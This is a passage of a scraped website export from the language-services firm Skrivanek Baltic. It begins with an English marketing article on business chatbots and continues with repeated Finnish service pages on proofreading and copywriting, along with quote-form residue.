engage, turning every interaction into an opportunity to strengthen customer relationships. By guiding customers through the purchase process and simplifying data collection with friendly prompts, chatbots: reduce the tension typically associated with online transactions; help reduce shopping cart abandonment; and nurture trust and brand loyalty. The result is a relaxed, personal and genuinely satisfying customer experience. OPTIMISED COMMUNICATION Chatbots don’t just improve the customer experience, they also revolutionise the way businesses communicate. By automating mundane questions and collecting relevant customer information, chatbots ensure that every conversation is ongoing and always available to users. They take on the role of the first line of support, efficiently managing the evaluation of potential customers and guiding them through the first stages of the sales process. This automation not only drives operational efficiency but also allows people to focus on more complex and strategic tasks. The ability to integrate chatbots into messaging applications offers several benefits: fast and accurate handling of incoming communications; driving the conversation forward without constant human supervision; fast response to customer queries; improved quality of interactions with chatbots providing relevant responses to user queries; more efficient communication ecosystem. CHATBOT SET-UP: INTEGRATION AND CUSTOMISATION Setting up chatbots is more than simply installing a program, it also involves integrating them into the core of a brand’s digital essence. Chatbots can be integrated into a variety of channels, from websites to social media platforms such as Instagram and Facebook, ensuring a consistent experience wherever customers choose to engage. Chatbots serve as a one-stop solution that is always ready to go, automating answers to frequently asked questions and providing basic information about products and services. But integration is only a small part of the picture before AI can do its job. Customisation is what makes a chatbot unique, reflecting your brand values in every interaction. It’s about personalising the look, refining the responses and style and ensuring that the chatbot becomes a natural extension of the customer service team. As a chatbot interacts with users, continuous monitoring and user feedback become essential to improve performance, ensuring it remains a dynamic, evolving tool that consistently meets the needs of your customers. INTEGRATION WITH MESSAGING APPLICATIONS Messaging applications are everywhere; for this reason, they have become a crucial touch point for businesses looking to connect with customers. Chatbots can be seamlessly integrated into platforms such as Facebook Messenger and WhatsApp, providing a direct and personal way to engage users. Chatbots on these applications perform a variety of functions, from customer service to sales and marketing, and offer fast and tailored support. Today, one of the main advantages of chatbots being integrated into different communication channels is the ability to maintain context even when users switch between communication channels. This seamlessness is essential for customer satisfaction as it ensures that the conversation starts where it left off, without missing a thing. Today, with plans such as the Standard Plan, which includes messaging integration, setting up chat services on these channels has never been easier, allowing you to engage with your customers where they are most often. CUSTOMISING CHATBOTS FOR YOUR BRAND Chatbots are not just a conversation roadmap, they are a brand ambassador. Customising your chatbot ensures that it is consistent with your brand identity and only expresses what reflects you. From word choice to visual elements such as colours and images, every aspect of the chatbot can be customised to suit your brand. Customisation isn’t just about aesthetics – it’s also about creating a cohesive user experience that reflects your company’s core values and personality. Integrating chatbots with CRM systems offers a number of benefits, including: customisation: the chatbot can take customer insights and tailor communications accordingly, taking personalisation to a new level; multilingual support: the most advanced chatbots can provide support in multiple languages, ensuring that your brand reaches customers around the world in an accessible and consistent way; effective engagement: with the right training, such as that included in our Business Plan, where the virtual assistant is trained on 700 files and websites, your chatbot will become an effective tool for engaging customers and building strong, lasting relationships. MAKING THE MOST OF CHATBOTS Despite being powerful tools, chatbots have their limits. To realise their full potential, it is important to systematically identify and address issues such as the limitations of conversations and the functional limitations of AI. The most effective methods include selecting the right communication channels and building partnerships with chatbot solution providers which ensure that chatbots meet user expectations and your business goals. By breaking down information into smaller segments and mimicking human conversation patterns, chatbot capabilities can be greatly improved and user information overload can be avoided. It is also crucial that the chatbot provides a backup strategy, as this keeps the dialogue flowing and users engaged when the chatbot encounters a question it cannot answer. It is about creating a seamless experience where the user feels supported throughout the interaction, - both by the chatbot and the real agent. By implementing these standard procedures, companies can overcome the inherent limitations of chatbots and maximise their impact on customer service and engagement, thus ensuring both that the chatbot works correctly and that they avoid delays in answering customers’ questions accurately more often. CHOOSING THE RIGHT CHATBOT PLATFORM The choice of platform can have a significant impact on the functionality and performance of your chatbot, as well as your satisfaction. A well-chosen platform will provide: immediate, always-available support; display of information that meets customer needs; budget-friendly support without additional staff; the ability to adapt to your communication strategy; integration with existing systems. This selection process should be approached with care and with a clear understanding of your business needs and the capabilities of potential chatbot platforms, ensuring that the chosen solution can meet your requirements. Whether you focus on AI assistants that can simulate human conversations or on standard chatbots that handle generic questions, the platform must be robust, scalable and user-friendly. It must offer the right balance of features such as natural language processing, machine learning and CRM integration to enable your virtual assistant to perform at its best. With the right platform, your chatbot becomes a powerful tool that improves customer interactions and drives business growth. ENSURING DATA PRIVACY AND SECURITY At a time when data is at a premium, the security of customer information is crucial. Malicious chatbots pose a real threat, often designed to mimic human behaviour by collecting personal data or spreading false information. As generative AI-powered chatbots are increasingly developed, they create complexities in data processing that can lead to data leakage and privacy issues. To combat these risks, it is essential that chatbot platforms use strong security measures, such as high-level encryption and the maintenance of data on secure, dedicated platforms. Platforms such as Appy Pie Chatbot are an excellent example of chatbot security, integrating comprehensive security features to protect user data. When setting up a chatbot, consider: the security infrastructure in place and its compliance with international legislation and standards; how the chatbot protects customer information; how the chatbot reinforces brand loyalty. A secure chatbot that acts as trusted software for communication is an indispensable tool in your digital arsenal. REAL-WORLD EXAMPLES OF CHATBOTS: SUCCESS STORIES IN DIFFERENT SECTORS The effectiveness of chatbots is demonstrated by their widespread adoption and success in a variety of sectors, such as: insurance companies using chatbots to quote policies and collect premiums; government agencies offering assistance with citizenship and immigration issues; and public service companies using chatbots to provide customer support, facilitate bill payment and offer on-demand assistance without the need to visit an office. Chatbot software is proving to be versatile and effective in these sectors. Appy Pie’s chatbot builder is a testament to the flexibility of chatbots, allowing businesses to create customised bots for different functions such as questions, scheduling appointments and facilitating online chats. The ability of chatbots to serve multiple industries demonstrates their adaptability and impact, from fintech customer service to retail services and weather forecasting. With major companies deploying chatbots across industries, it is clear that this technology is not a passing trend but an existing paradigm shift that is transforming the way businesses communicate. CHATBOTS IN E-COMMERCE In e-commerce, chatbots are making a positive difference to the customer experience, in particular, by improving satisfaction and conversion rates. Companies such as Cdiscount and Vanden Borre have seen significant improvements in customer satisfaction scores thanks to the introduction of generative AI-powered chatbots that offer a personalised and efficient service. These chatbots are able to double or even quintuple conversion rates by engaging customers in a more interactive and personalised way, as seen in the cases of Vanden Borre and Cdiscount. It’s not just about measurement, but also about improving the shopping experience. For example, IKKS achieved an impressive 18% conversion rate for fully automated conversations, demonstrating the ability of chatbots to effectively guide customers in the right direction during the shopping experience. E-commerce chatbots are redefining retail by providing a level of customer support and engagement that was previously unattainable, turning browsers into shoppers and questions into conversions. CHATBOTS IN HEALTH CARE In health care, chatbots are improving patient care and administrative efficiency. They provide accessible medical care, helping patients navigate the healthcare system more easily and confidently. By simplifying the appointment scheduling process, healthcare chatbots allow patients to effortlessly review appointments, resulting in a smoother and more satisfying healthcare experience. In addition, they serve as trusted sources of medical information, answering health-related questions and providing patients with the knowledge they need to make informed decisions. The introduction of chatbots in health care offers several benefits, including: reduced administrative burden for healthcare providers; ongoing support; completion of routine tasks; reduction of workload for medical staff to facilitate the focus on providing better care; improved patient satisfaction; improved operational efficiency. Healthcare chatbots are thus not just communication tools; they are partners in delivering quality care and optimising healthcare services. SUMMARY Summarising this research on chatbots, it is clear that AI-led negotiators are more than a trend; they have transformative power for customer engagement and action, as well as for operational efficiency. Chatbots are introducing new changes in the way businesses communicate with customers – from the variety of apps across industries to their customisable nature and continuous availability. Whether it’s by improving the user experience, optimising communications or ensuring data security, chatbots are a testament to the power of technology to drive business growth and customer satisfaction. Adopting and integrating chatbots is not just about keeping up with the evolution of technology but also about renewing its relevance. If you want to set up a chatbot on your website that is tailored to your business, contact us and we'll help you. If you need further information or advice on the features of a chatbot, book an online consultation and we'll answer your questions. WHAT CUSTOMERS HAVE TO SAY ABOUT US: KRKA d. d. The employees of Skrivanek are helpful, accommodating, and have an understanding approach to the specifics of our pharmaceutical translation tasks and translations from various language combinations. Orders are executed to a high standard in accordance with the highest professional and ethical competence and according to deadlines set.  Sandoz d. d. We recommend Skrivanek Baltic as a reliable partner for any large scale projects requiring professional language services.  Adidas Baltics The employees of Skrivanek are helpful and have an understanding approach to the specifics of our translation tasks from Baltic languages. Adidas Baltic recommends other companies to use the services provided by this company.  --- > Paranna sisältöäsi oikoluku- ja tyylilukupalveluillamme. Äidinkieliset puhujat varmistavat selkeyden ja tarkkuuden. Ota yhteyttä Skrivanekiin! - Published: 2024-05-14 - Modified: 2024-08-22 - URL: https://skrivanek.lv/pakalpojumi/tekstu-adaptacija-un-radosu-tekstu-sagatavosana/tekstu-gramatiska-un-stilistiska-uzlabosana/ - Translation Priorities: Optional Kieliasiantuntijamme auttavat sinua parantamaan tekstin tyylillistä tai kieliopillista laatua, tarkistamaan tekstissä käytetyn terminologian tai vertaamaan käännöstä alkuperäiseen sen tarkkuuden varmistamiseksi. He auttavat sinua myös, jos emme ole kääntäneet tai valmistelleet tekstiä. Kunkin kielen osalta tarkastuksen suorittaa kielitieteilijä, joka puhuu kohdekieltä äidinkielenään. Tekstin oikoluku tai tyylillinen parantaminen on kieliopillinen ja tyylillinen tarkastus, jolla varmistetaan käännöksen asianmukaisuus ja soveltuu aiottuun tarkoitukseen ja että alan perinteitä on noudatettu. Oikoluvun suorittaa kieltä äidinkielenään puhuva henkilö, mikä takaa käännöksen laadun, tarkkuuden ja ammattimaisuuden. Käännöstä verrataan yksityiskohtaisesti alkuperäiseen, jotta voidaan tarkistaa käännöksen tarkkuus ja yhdenmukaisuus alkuperäisen kanssa sekä tehdä tarvittaessa korjauksia. Kielitieteilijä tutustuu käsikirjoihin, terminologian sanakirjoihin ja muihin viiteaineistoihin varmistaakseen mahdollisimman laadukkaan lopputuloksen. Vertailu johtaa alkuperäistä täysin vastaavaan, luettavaan, kieliopillisesti ja terminologisesti oikeaan käännökseen, joka soveltuu tarkoitukseensa. Muokkaus tai terminologian tarkistus on hyödyllistä, kun on tarkistettava tietylle alalle tarkoitettu käännös. Käännöksessä käytetyt termit tarkastaa alaan perehtynyt ja kyseistä kieltä äidinkielenään puhuva toimittaja. PYYDÄ HINTATARJOUS / LÄHETÄ KYSYMYS Valmistelemme sinulle räätälöidyn ratkaisun ja konsultoimme sinua kiinnostuksesi kohteisiin liittyen. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Asiakas *YksityishenkilöYritys Nimi ja sukunimi. *Puhelin Lisää Poista Nimi ja sukunimi. *Puhelin Lisää Poista Yrityksen nimi *Puhelin Lisää Poista Yrityksen nimi *Puhelin Lisää Poista Sähköposti *Kieliyhdistelmä Lisää Poista Sähköposti *Kieliyhdistelmä Lisää Poista ViestisiAsiakirjan lataus, enintään 20 MB, jos asiakirja ylittää rajan, kirjoita se viestiin, niin otamme sinuun yhteyttä Click or drag files to this area to upload. You can upload up to 10 files. Miten kuulit meistä? Miten kuulit meistä? Olen Skrivanekin asiakasGooglen hakukoneestaYstäviltä/tutuiltaFacebookTwitterLinkedInInstagramUlkomainoksestaMessuillaPainetusta mainoksestaSkrivanekin myyntiedustaja otti minuun yhteyttä *Hyväksyn henkilötietojeni käsittelyn SIA Skrivanek Balticin yksityisyyspolitiikassa kuvatulla tavalla. Saada USEIN KYSYTYT KYSYMYKSET Tarjoamme laajan valikoiman kielipalveluita – käännös- ja tulkkauspalveluita, lokalisointipalveluita, tekstin mukauttamista, tekstien kirjoittamista ja taittoa. Tulkkausta järjestetään konferensseissa, liiketapaamisissa ja oikeudenkäyntimenettelyissä. Kääntäminen sisältää erikoiskäännöksiä ja yleisiä käännöksiä eri toimialoille. Kyllä, kaikki luonnollisten henkilöiden hinnat sisältävät arvonlisäveron. Yritysasiakkaille hinnat näkyvät ilman arvonlisäveroa. EU-lainsäädännön mukaan emme veloita arvonlisäveroa palveluista, joita tarjotaan ALV-rekisteröityneille yrityksille muissa jäsenmaissa. Käänteisen verovelvollisuuslainsäädännön mukaan verovelvollisuus siirtyy palvelujen vastaanottajalle. Vaikka suurin osa käännöksistämme tulee oikeushenkilöiltä, työskentelemme mielellämme myös luonnollisten henkilöiden kanssa. Notaarin varmentavat käännökset ovat yleisin palvelu luonnollisille henkilöille. Kielikurssit, lasten ja nuorten leirit ovat myös suosittuja. ISO-sertifikaattien takaamaa laatua ja luottamuksellisuuttaProjektipäällikkömme puhuvat latviaa, venäjää, englantia, saksaa ja puolaa99 % asiakkaista saa hintatarjouksen alle 15 minuutissaYli 3 000 kielen ammattilaista ja äidinkielenään puhuvaaYli 98 % asiakkaistamme suosittelisi meitä ystävilleen ja yrityskumppaneilleenToimistollamme käännetään yli 16 miljoonaa sanaa joka vuosi LUOTETTAVUUS, NOPEUS JA PALVELUIDEN LAATU KRKA, d. d. Skrivanekin työntekijät ovat avuliaita, mukautuvia ja ymmärtävät lähestymistapamme lääkealan käännöstyön erityistarpeisiin ja eri kieliyhdistelmien käännöksiin. Tilaukset toteutetaan korkealuokkaisesti korkeimman ammatillisen ja eettisen pätevyyden mukaisesti ja asetettuja määräaikoja noudattaen.  Adidas Baltic Skrivanekin työntekijät ovat avuliaita ja ymmärtävät lähestymistapamme Baltian kielten käännöstehtävien erityispiirteisiin. Adidas Baltic suosittelee tämän yrityksen tarjoamien palveluiden käyttöä muille yrityksille.  Sandoz d. d. Suosittelemme Skrivanek Balticia luotettavana kumppanina mihin tahansa laajempaan projektiin, joka vaatii ammattitaitoisia kielipalveluita.  --- > Koe Skrivanek Baltic copywriting-palvelut. Muunna sisältösi, vangitse yleisösi. Sinun sanasi, meidän käsityömme. - Published: 2024-05-14 - Modified: 2024-08-22 - URL: https://skrivanek.lv/radosu-tekstu-sagatavosana/ MAINOSTEKSTIEN JA MONIKIELISTEN MARKKINOINTITEKSTIEN LAATIMINEN Tiedämme hyvin, että ihmiset jättävät tietoisesti mainokset lukematta. - He lukevat ja kuuntelevat sitä, mikä heitä oikeasti kiinnostaa, ja vain joskus se voi olla mainontaa. Oletko koskaan miettinyt, miten kielialan yritys voi auttaa sinua tulemaan kuulluksi täpötäydessä informaatiotilassa? Skrivanekin luovat copywriterit tekevät tiivistä yhteistyötä asiakkaan kanssa eivätkä luo tekstiä tyhjästä, vaan tutkivat huolellisesti tuotteesi vivahteita. Erinomaiset kirjoitustaidot eivät ole ainoita taitoja, joita copywriterit tarvitsevat auttaakseen asiakkaitamme kasvamaan kansainvälisesti. Kun tekstejä luodaan ja mukautetaan ulkomaisille markkinoille, copywriterin tehtävänä on säilyttää viestin ainutlaatuisuus ja sävy kunnioittaen samalla yleisön kulttuurieroja ja tapoja sekä noudattaen viestinnän ja etiketin kirjoittamattomia sääntöjä. Jos etsit kieliyritystä, joka luo todella mukaansatempaavia mainostekstejä ja huolehtii verkkosivustosi monikielisestä sisällöstä, jotta tavoitat mahdollisimman monta potentiaalista asiakasta ympäri maailmaa, olet tullut oikeaan paikkaan. MAINOSTEKSTIEN JA MONIKIELISTEN MARKKINOINTITEKSTIEN MERKITYS YRITYKSESI KASVULLE Tekstien parissa työskentely on yksi jokaisen yrityksen markkinointiosaston tärkeimpiä tehtäviä - myös sinun! Oikeilla sanoilla on voima vaikuttaa asiakkaisiin tai kehottaa heitä toimimaan - ja tämä on avain minkä tahansa markkinointikampanjan menestykseen. Markkinointitekstit ovat mitä tahansa tekstimateriaalia, jota yrityksesi voi käyttää myyntitoiminnassaan tai tuotteiden ja palveluiden markkinoinnissa. Nämä vaihtelevat painetuista materiaaleista, esityksistä ja sähköpostiaihioista helposti muunnettavissa olevaan monikieliseen sisältöön verkkosivustollesi, mukaan lukien yrityksen ääni- ja videotekstit. Tekstin kanssa työskentely on kuin syvällinen keskustelu parhaan ystäväsi kanssa – asiakkaan kanssa, joka inspiroi sinua. Tehokkaan ja hyvin kohdennetun mainoslauseen laatimista varten copywriterin on siis tunnettava hyvin lukijansa, hänen kiinnostuksensa kohteet, hänen tottumuksensa ja jopa hänen sisimmät unelmansa. Ennalta valmistetun verkkosivun sisällön mukauttaminen tai lokalisointi puolestaan edellyttää yleisötutkimusta kohdemarkkinoilla tai -maassa. Erityisen tärkeää on suorittaa Google- avainsanojen tutkimus jo varhaisessa vaiheessa, jotta puhumme alusta alkaen sen maan kieltä, jossa potentiaaliset asiakkaat etsivät tuotetta tai palvelua. AINUTLAATUINEN COPYWRITING JA MONIKIELINEN SISÄLTÖMARKKINOINTI Mitä eroa on ainutlaatuisella copywritingilla ja monikielisellä sisältömarkkinoinnilla? Sisältömarkkinointi on kaikkea sitä sisältöä, jota yrityksesi jatkuvasti luo ja julkaisee internetissä parantaakseen yrityksesi asemaa hakukonetuloksissa ja edistääkseen siten myös epäsuoraa myyntiä. Tyypillisesti tämä sisältää erikoisalaasi käsittelevien blogien sisältöä, tarinoita kokemuksista sekä viihde- tai opetusmateriaalia. Miksi tämä on tärkeää? Vastaus on yksinkertainen - rakenna pitkäaikaisia suhteita asiakkaidesi kanssa saamalla heidät kiinnostumaan seuraamisestasi ja käymään keskusteluja sosiaalisissa verkostoissa, lukemaan ja jakamaan blogiasi sekä kertomaan ystävilleen sinusta. Miten Skrivanek voi auttaa sinua? Puhumme potentiaalisten asiakkaidesi yli 110 kieltä. Kohdeyleisösi tavoittaminen kaikkialla maailmassa ei ole koskaan ollut näin helppoa: sinun tarvitsee vain valita maa tai alue, ja Skrivanekin copywriterit huolehtivat lopusta. Kulttuurienvälinen viestintä on erikoisalamme. PYYDÄ HINTATARJOUS / LÄHETÄ KYSYMYS Valmistelemme sinulle räätälöidyn ratkaisun ja konsultoimme sinua kiinnostuksesi kohteisiin liittyen. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Asiakas *YksityishenkilöYritys Nimi ja sukunimi. *Puhelin Lisää Poista Nimi ja sukunimi. *Puhelin Lisää Poista Yrityksen nimi *Puhelin Lisää Poista Yrityksen nimi *Puhelin Lisää Poista Sähköposti *Kieliyhdistelmä Lisää Poista Sähköposti *Kieliyhdistelmä Lisää Poista ViestisiAsiakirjan lataus, enintään 20 MB, jos asiakirja ylittää rajan, kirjoita se viestiin, niin otamme sinuun yhteyttä Click or drag files to this area to upload. You can upload up to 10 files. Miten kuulit meistä? Miten kuulit meistä? Olen Skrivanekin asiakasGooglen hakukoneestaYstäviltä/tutuiltaFacebookTwitterLinkedInInstagramUlkomainoksestaMessuillaPainetusta mainoksestaSkrivanekin myyntiedustaja otti minuun yhteyttä *Hyväksyn henkilötietojeni käsittelyn SIA Skrivanek Balticin yksityisyyspolitiikassa kuvatulla tavalla. Saada MAINOSTEKSTIEN JA MONIKIELISTEN MARKKINOINTITEKSTIEN LAATIMINEN Tiedämme hyvin, että ihmiset jättävät tietoisesti mainokset lukematta. - He lukevat ja kuuntelevat sitä, mikä heitä oikeasti kiinnostaa, ja vain joskus se voi olla mainontaa. Oletko koskaan miettinyt, miten kielialan yritys voi auttaa sinua tulemaan kuulluksi täpötäydessä informaatiotilassa? Skrivanekin luovat copywriterit tekevät tiivistä yhteistyötä asiakkaan kanssa eivätkä luo tekstiä tyhjästä, vaan tutkivat huolellisesti tuotteesi vivahteita. Erinomaiset kirjoitustaidot eivät ole ainoita taitoja, joita copywriterit tarvitsevat auttaakseen asiakkaitamme kasvamaan kansainvälisesti. Kun tekstejä luodaan ja mukautetaan ulkomaisille markkinoille, copywriterin tehtävänä on säilyttää viestin ainutlaatuisuus ja sävy kunnioittaen samalla yleisön kulttuurieroja ja tapoja sekä noudattaen viestinnän ja etiketin kirjoittamattomia sääntöjä. Jos etsit kieliyritystä, joka luo todella mukaansatempaavia mainostekstejä ja huolehtii verkkosivustosi monikielisestä sisällöstä, jotta tavoitat mahdollisimman monta potentiaalista asiakasta ympäri maailmaa, olet tullut oikeaan paikkaan. MAINOSTEKSTIEN JA MONIKIELISTEN MARKKINOINTITEKSTIEN MERKITYS YRITYKSESI KASVULLE Tekstien parissa työskentely on yksi jokaisen yrityksen markkinointiosaston tärkeimpiä tehtäviä - myös sinun! Oikeilla sanoilla on voima vaikuttaa asiakkaisiin tai kehottaa heitä toimimaan - ja tämä on avain minkä tahansa markkinointikampanjan menestykseen. Markkinointitekstit ovat mitä tahansa tekstimateriaalia, jota yrityksesi voi käyttää myyntitoiminnassaan tai tuotteiden ja palveluiden markkinoinnissa. Nämä vaihtelevat painetuista materiaaleista, esityksistä ja sähköpostiaihioista helposti muunnettavissa olevaan monikieliseen sisältöön verkkosivustollesi, mukaan lukien yrityksen ääni- ja videotekstit. Tekstin kanssa työskentely on kuin syvällinen keskustelu parhaan ystäväsi kanssa – asiakkaan kanssa, joka inspiroi sinua. Tehokkaan ja hyvin kohdennetun mainoslauseen laatimista varten copywriterin on siis tunnettava hyvin lukijansa, hänen kiinnostuksensa kohteet, hänen tottumuksensa ja jopa hänen sisimmät unelmansa. Ennalta valmistetun verkkosivun sisällön mukauttaminen tai lokalisointi puolestaan edellyttää yleisötutkimusta kohdemarkkinoilla tai -maassa. Erityisen tärkeää on suorittaa Google- avainsanojen tutkimus jo varhaisessa vaiheessa, jotta puhumme alusta alkaen sen maan kieltä, jossa potentiaaliset asiakkaat etsivät tuotetta tai palvelua. AINUTLAATUINEN COPYWRITING JA MONIKIELINEN SISÄLTÖMARKKINOINTI Mitä eroa on ainutlaatuisella copywritingilla ja monikielisellä sisältömarkkinoinnilla? Sisältömarkkinointi on kaikkea sitä sisältöä, jota yrityksesi jatkuvasti luo ja julkaisee internetissä parantaakseen yrityksesi asemaa hakukonetuloksissa ja edistääkseen siten myös epäsuoraa myyntiä. Tyypillisesti tämä sisältää erikoisalaasi käsittelevien blogien sisältöä, tarinoita kokemuksista sekä viihde- tai opetusmateriaalia. Miksi tämä on tärkeää? Vastaus on yksinkertainen - rakenna pitkäaikaisia suhteita asiakkaidesi kanssa saamalla heidät kiinnostumaan seuraamisestasi ja käymään keskusteluja sosiaalisissa verkostoissa, lukemaan ja jakamaan blogiasi sekä kertomaan ystävilleen sinusta. Miten Skrivanek voi auttaa sinua? Puhumme potentiaalisten asiakkaidesi yli 110 kieltä. Kohdeyleisösi tavoittaminen kaikkialla maailmassa ei ole koskaan ollut näin helppoa: sinun tarvitsee vain valita maa tai alue, ja Skrivanekin copywriterit huolehtivat lopusta. Kulttuurienvälinen viestintä on erikoisalamme. PYYDÄ HINTATARJOUS / LÄHETÄ KYSYMYS Valmistelemme sinulle räätälöidyn ratkaisun ja konsultoimme sinua kiinnostuksesi kohteisiin liittyen. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Asiakas *YksityishenkilöYritys Nimi ja sukunimi. *Puhelin Lisää Poista Nimi ja sukunimi. *Puhelin Lisää Poista Yrityksen nimi *Puhelin Lisää Poista Yrityksen nimi *Puhelin Lisää Poista Sähköposti *Kieliyhdistelmä Lisää Poista Sähköposti *Kieliyhdistelmä Lisää Poista ViestisiAsiakirjan lataus, enintään 20 MB, jos asiakirja ylittää rajan, kirjoita se viestiin, niin otamme sinuun yhteyttä Click or drag files to this area to upload. You can upload up to 10 files. Miten kuulit meistä? Miten kuulit meistä? Olen Skrivanekin asiakasGooglen hakukoneestaYstäviltä/tutuiltaFacebookTwitterLinkedInInstagramUlkomainoksestaMessuillaPainetusta mainoksestaSkrivanekin myyntiedustaja otti minuun yhteyttä *Hyväksyn henkilötietojeni käsittelyn SIA Skrivanek Balticin yksityisyyspolitiikassa kuvatulla tavalla. Saada MILLOIN ON TARPEEN MIETTIÄ LUOVAA COPYWRITINGIA? Yksinkertainen vastaus - aina! Itse asiassa tekstin työstäminen ei lopu koskaan, sillä yrityksen liiketoimintatavoitteiden saavuttamiseksi tai myynnin lisäämiseksi on välttämätöntä kirjoittaa yhä enemmän tekstiä. Uusien markkinoiden löytäminen ja uusien tuotteiden luominen ovat osa tulojen lisäämisestä, mutta se edellyttää laadukkaita markkinointitekstejä. Työ olemassa olevan sisällön parissa ei myöskään koskaan lopu, sillä sitä on jatkuvasti parannettava ja mukautettava hakukoneiden parametreihin. Myös kohdeyleisön käyttäytyminen muuttuu ajan myötä; ihmiset haluavat käyttää muita sosiaalisia medioita tai seuraavat uusia vaikuttajia, ja myös asiakkaidesi arvot voivat muuttua dramaattisesti. Skrivanekin copywriterit seuraavat tarkasti markkinoinnin ja mainonnan viimeisimpiä trendejä, koska eri maiden nykyisten ja potentiaalisten kohdeyleisöjen todellisuus kehittyy ja mukautuu, ja niiden huolenaiheet ja unelmat vaihtelevat. Ei ole epäilystäkään siitä, että Yhdysvaltojen mainontakulttuuri eroaa Japanin mainosympäristöstä ja -perinteistä ja että eurooppalaiset ostajat etsivät tuotetietoa eri tavoin kuin aasialaiset, koska meillä on tapana etsiä jokapäiväisiin tarpeisiimme ja tilanteisiimme räätälöityjä ratkaisuja. MONIKIELISEN MARKKINOINTITEKSTIN COPYWRITING Eri maissa liiketoimintaa harjoittavat suuret ja pienet yritykset työskentelevät väsymättä ja miettivät yrityksensä globaalia viestintää ja brändin ääntä. Viestintä- ja kieliyritykset, jotka ovat kokeneita ja perehtyneitä eri maiden erilaisiin viestintämuotoihin, ovat tässä tehtävässä suureksi avuksi. Usein viestintäkäsikirjat ja -ohjeet luodaan tiiviissä yhteistyössä asiakkaan kanssa, ja tekstit luodaan tyhjästä, mutta brändit voivat myös mukauttaa olemassa olevaa sisältöä kohderyhmälle sopivaksi. Oletko epävarma, saavuttavatko nykyiset tekstisi lukijat riittävän tehokkaasti? Skrivanekin copywriterit Latviassa, Virossa, Liettuassa, Puolassa, Saksassa ja muissa Euroopan ja maailman maissa auttavat sinua voittamaan kielimuurin ja tulemaan kuulluksi. Muista, että jokainen tuote ja tilanne on ainutlaatuinen, ja se on räätälöitävä parhaan mahdollisen ratkaisun tarjoamiseksi. LUOVAN COPYWRITINGIN ENSIASKELEET - MISTÄ ALOITTAA? Jos olet sitoutunut laatimaan tekstin, mutta et ole varma, mitä kirjoittaisit, Skrivanek suosittelee pohtimaan seuraavia kysymyksiä: Minkä ongelman ratkaisussa tuotteesi tai palvelusi auttaa asiakkaitasi? Mitkä ovat mielestäsi tuotteesi tai palvelusi edut? Miten olet parempi kuin kilpailijasi? Kuka on kohdeyleisösi? Kuka on ihanneasiakkaasi – kuvaile häntä, mieti hänen ikäänsä, sukupuoltaan, harrastuksiaan jne. Ketkä ihmiset tai yritykset ovat tähän mennessä käyttäneet tuotettasi tai palveluasi? Mitä tiedät heistä? Mitä nykyiset asiakkaasi odottavat sinulta? Miten tuotteesi tai palvelusi tavoittavat asiakkaat? Haluatko tavoittaa olemassa olevan yleisön vai yritätkö tavoittaa uusia asiakkaita? Minkä tavoitteen haluat saavuttaa tällä tekstillä? Mitkä ovat yrityksesi yleiset markkinointitavoitteet? Millaista tekstiä aiot kirjoittaa – tuotekuvauksen, myyntisähköpostin, sosiaalisen median postauksen, blogin vai nettisivun uuden aloitussivun? Todelliset kirjoitustaidot kehittyvät ajan myötä, ja niitä on vaalittava ja harjoiteltava, aivan kuten muitakin taitoja. LUOVAN COPYWRITINGIN ENSIASKELEET - MISTÄ ALOITTAA? Jos olet sitoutunut laatimaan tekstin, mutta et ole varma, mitä kirjoittaisit, Skrivanek suosittelee pohtimaan seuraavia kysymyksiä: Minkä ongelman ratkaisussa tuotteesi tai palvelusi auttaa asiakkaitasi? Mitkä ovat mielestäsi tuotteesi tai palvelusi edut? Miten olet parempi kuin kilpailijasi? Kuka on kohdeyleisösi? Kuka on ihanneasiakkaasi – kuvaile häntä, mieti hänen ikäänsä, sukupuoltaan, harrastuksiaan jne. Ketkä ihmiset tai yritykset ovat tähän mennessä käyttäneet tuotettasi tai palveluasi? Mitä tiedät heistä? Mitä nykyiset asiakkaasi odottavat sinulta? Miten tuotteesi tai palvelusi tavoittavat asiakkaat? Haluatko tavoittaa olemassa olevan yleisön vai yritätkö tavoittaa uusia asiakkaita? Minkä tavoitteen haluat saavuttaa tällä tekstillä? Mitkä ovat yrityksesi yleiset markkinointitavoitteet? Millaista tekstiä aiot kirjoittaa – tuotekuvauksen, myyntisähköpostin, sosiaalisen median postauksen, blogin vai nettisivun uuden aloitussivun? Todelliset kirjoitustaidot kehittyvät ajan myötä, ja niitä on vaalittava ja harjoiteltava, aivan kuten muitakin taitoja. MILLOIN ON TARPEEN MIETTIÄ LUOVAA COPYWRITINGIA? Yksinkertainen vastaus - aina! Itse asiassa tekstin työstäminen ei lopu koskaan, sillä yrityksen liiketoimintatavoitteiden saavuttamiseksi tai myynnin lisäämiseksi on välttämätöntä kirjoittaa yhä enemmän tekstiä. Uusien markkinoiden löytäminen ja uusien tuotteiden luominen ovat osa tulojen lisäämisestä, mutta se edellyttää laadukkaita markkinointitekstejä. Työ olemassa olevan sisällön parissa ei myöskään koskaan lopu, sillä sitä on jatkuvasti parannettava ja mukautettava hakukoneiden parametreihin. Myös kohdeyleisön käyttäytyminen muuttuu ajan myötä; ihmiset haluavat käyttää muita sosiaalisia medioita tai seuraavat uusia vaikuttajia, ja myös asiakkaidesi arvot voivat muuttua dramaattisesti. Skrivanekin copywriterit seuraavat tarkasti markkinoinnin ja mainonnan viimeisimpiä trendejä, koska eri maiden nykyisten ja potentiaalisten kohdeyleisöjen todellisuus kehittyy ja mukautuu, ja niiden huolenaiheet ja unelmat vaihtelevat. Ei ole epäilystäkään siitä, että Yhdysvaltojen mainontakulttuuri eroaa Japanin mainosympäristöstä ja -perinteistä ja että eurooppalaiset ostajat etsivät tuotetietoa eri tavoin kuin aasialaiset, koska meillä on tapana etsiä jokapäiväisiin tarpeisiimme ja tilanteisiimme räätälöityjä ratkaisuja. MONIKIELISEN MARKKINOINTITEKSTIN COPYWRITING Eri maissa liiketoimintaa harjoittavat suuret ja pienet yritykset työskentelevät väsymättä ja miettivät yrityksensä globaalia viestintää ja brändin ääntä. Viestintä- ja kieliyritykset, jotka ovat kokeneita ja perehtyneitä eri maiden erilaisiin viestintämuotoihin, ovat tässä tehtävässä suureksi avuksi. Usein viestintäkäsikirjat ja -ohjeet luodaan tiiviissä yhteistyössä asiakkaan kanssa, ja tekstit luodaan tyhjästä, mutta brändit voivat myös mukauttaa olemassa olevaa sisältöä kohderyhmälle sopivaksi. Oletko epävarma, saavuttavatko nykyiset tekstisi lukijat riittävän 